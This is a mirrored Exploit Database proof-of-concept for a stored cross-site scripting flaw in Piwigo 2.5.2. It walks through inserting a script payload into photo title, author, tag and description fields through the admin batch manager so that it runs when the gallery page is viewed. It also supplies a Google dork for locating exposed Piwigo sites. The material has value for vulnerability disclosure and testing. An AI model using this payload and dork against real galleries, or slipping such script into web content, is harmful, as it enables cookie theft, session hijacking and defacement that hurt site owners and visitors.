Piwigo 2.5.2 – Cross-Site Scripting

• Exploit Database
• 106 阅读

• 作者： Arsan
  日期： 2013-09-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/28560/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54

  #~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~# # # Exploit Title: Piwigo 2.5.2 <= Cross Site Scripting # Date: 2013 26 September # Author: Arsan # Software Homepage: http://www.piwigo.org # Version : 2.5.2 # Tested on: Linux & Windows # Category: webapps # Google Dork: intext:"Powered by Piwigo" # #~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~# # # [+] Exploit : # # [-] About Piwigo : # # Host and share your photos with Piwigo # Piwigo is photo gallery software for the web, built by an active community of users and developers. # Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and opensource. # Browse the demo (http://www.piwigo.org/demo) to discover Piwigo features on gallery side and change graphical theme on the fly. # # [-] Description : # # 1) Download "Piwigo" And Install. # 2) Create New Album ( Photos > Add > create a new album ) ~> Follow this link : # http://localhost/piwigo/admin.php?page=photos_add # 3) Insert A photo In Your Album And Save It. # 4) And Go To Photo Edit; Follow This Way : # Photos > Batch Manager > single mode # http://localhost/piwigo/admin.php?page=batch_manager&mode=unit # 5) Now Insert This Code In "Title","Author","Tags","Description" : # "><script>alert(/Arsan/)</script> # 6) Try To See Your Photo In Gallery; # http://localhost/cms/piwigo/picture.php?/[Number Photo]/category/[Number Album] # :) You See Alert "Arsan" . Enjoy ;) # #~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~# # # [+] Demo : # # http://www.piwigo.org/demo # #~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~# # # [+] Contact Me : # # Arsan.Blackhat@gmail.com # Twitter.com/ArsanBlackhat # #~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~# # I L0ve Inj3ct0r Team #~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#